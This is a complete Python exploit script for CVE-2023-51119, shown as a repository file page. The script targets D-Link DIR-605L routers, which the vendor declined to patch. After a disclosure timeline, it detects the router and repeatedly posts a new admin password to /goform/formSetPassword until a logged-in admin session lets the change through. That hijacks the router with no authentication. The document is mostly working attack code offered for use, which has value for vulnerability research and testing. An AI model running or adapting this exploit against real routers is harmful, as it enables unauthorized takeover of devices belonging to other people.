-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2023-51119.py
165 lines (137 loc) · 6.04 KB
/
CVE-2023-51119.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Exploit Title: Improper Access Control Vulnerability on D-Link DIR-605L router
Date: 08/01/2024
Exploit Author: OscarAkaElvis
Vendor Homepage: https://www.dlink.com/
Version: D-Link DIR-605L router
Tested on: Software/Firmware version 2.13, Hardware version B2
CVE: CVE-2023-51119
Disclosure timeline:
11/12/2023: Vulnerability was discovered
12/12/2023: Reported to Mitre
20/12/2023: No answer yet from Mitre, reported to D-Link as part of responsible disclosure
22/12/2023: Vulnerability confirmed by D-Link, won't fix announcement published (https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10368)
23/12/2023: Vendor's announcement link shared to Mitre
04/01/2024: Mitre assigned CVE number (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-51119)
07/01/2024: Public disclosure (https://twitter.com/OscarAkaElvis/status/1744042753707712916)
08/01/2024: Exploit creation and PoC video created (https://twitter.com/OscarAkaElvis/status/1744452649011892566)
08/01/2024: Exploit sent to Exploit-db, no answer
21/04/2024: Exploit-db resubmission
Exploitation explanation:
Due to an incorrect access control, a takeover can be done over the admin account without any kind of authentication sending a request under special circumstances (only needs a legitimate admin to be logged in)
Actually, any router's doable action on the web configuration panel can be done including the change of the admin's password (leading into the takeover)
This exploit automatize the entire process to set any password for admin user on the router
Happy hacking :)
OscarAkaElvis - https://twitter.com/OscarAkaElvis
"""
# Dependencies and libraries
import requests
import re
from sys import argv, exit
import argparse
from os import path
from time import sleep
from base64 import b64encode
class Exploit(object):
# Global class vars
session = requests.Session()
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.99 Safari/537.36"
ip = None
username = "admin"
password = None
default_ip = "192.168.0.1"
default_password = "SessionHijacked"
b64_password = ""
exploit_version = "1.0"
script_name = path.basename(argv[0])
description_text = 'CVE-2023-51119 exploit by OscarAkaElvis, Improper Access Control Vulnerability on D-Link DIR-605L router. Password for admin user can be set'
epilog_text = 'Examples:\n python3 ' + script_name + ' -i 192.168.0.150\n python3 ' + script_name + ' -p anyPassword\n python3 ' + script_name + ' -i 10.0.0.1 -p anyPassword'
def start_msg(self):
print("[*] Starting CVE-2023-51119 exploit...")
sleep(0.5)
def check_params(self, arguments):
parser = argparse.ArgumentParser(description=self.description_text, formatter_class=argparse.RawDescriptionHelpFormatter, epilog=self.epilog_text)
parser.add_argument('-i', '--ip', dest='ip', required=False, help="set router's ip", metavar='IP')
parser.add_argument('-p', '--password', dest='password', required=False, help="password to set for admin user on the router (15 chars max)", metavar='PASSWORD')
parser.add_argument('-v', '--version', action='version', version=self.print_version(), help="show exploit's version number and exit")
args = parser.parse_args(arguments)
self.start_msg()
print("[*] Launch the exploit using -h argument to check all the available options")
print()
if not args.ip:
self.ip = self.default_ip
print("[!] Warning, no ip set, default will be used: " + str(self.ip))
else:
self.ip = args.ip
if not args.password:
self.password = self.default_password
print("[!] Warning, no password chosen, default will be set: " + str(self.password))
else:
if len(args.password) > 15:
print()
print("[-] Please, set a 15 chars max password. Exiting...")
exit(1)
else:
self.password = args.password
def print_version(self):
print()
return 'v{}'.format(self.exploit_version)
def check_router(self):
try:
print("[*] Trying to detect router...")
headers = {"User-Agent": self.user_agent}
response = self.session.get("http://" + str(self.ip) + "/comm.asp", headers=headers)
if re.match(r'.*DIR-605L.*', str(response.text)):
print("[+] D-Link DIR-605L router detected successfully")
else:
print()
print("[-] It seems the target is not a D-Link router")
print("[*] Exiting...")
exit(1)
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[-] Can't connect to the router")
print("[*] Exiting...")
exit(1)
def hijack_password(self):
try:
data = {'settingsChanged': '1', 'config.login_name': self.username, 'config.password': self.b64_password}
headers = {"User-Agent": self.user_agent}
response = self.session.post("http://" + str(self.ip) + "/goform/formSetPassword", headers=headers, data=data, allow_redirects=True)
if int(response.headers['Content-Length']) > 3000:
return True
else:
return False
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
return False
def do_magic(self):
try:
print()
print("[*] This exploit will work only if a legitimate admin is logged in")
print("[*] Trying to hijack router's password...")
self.b64_password = b64encode(self.password.encode('utf-8')).decode('utf-8')
print()
while not self.hijack_password():
print("[-] It seems no admin session yet to perform the password hijacking. Waiting 5 seconds...")
sleep(5)
print("[+] Password for admin user set on router successfully: " + self.password)
print("[+] Happy hacking :) . Author: OscarAkaElvis")
except (TimeoutError, ConnectionError, requests.exceptions.ConnectionError):
print()
print("[!] An unexpected error occurred. Exiting...")
exit(1)
except KeyboardInterrupt:
print()
print("[!] Ctrl+C trap captured. Exiting...")
exit(1)
@staticmethod
def main(self, arguments):
self.check_params(arguments)
self.check_router()
self.do_magic()
exit(0)
if __name__ == '__main__':
ImportObject = Exploit()
ImportObject.main(ImportObject, argv[1:])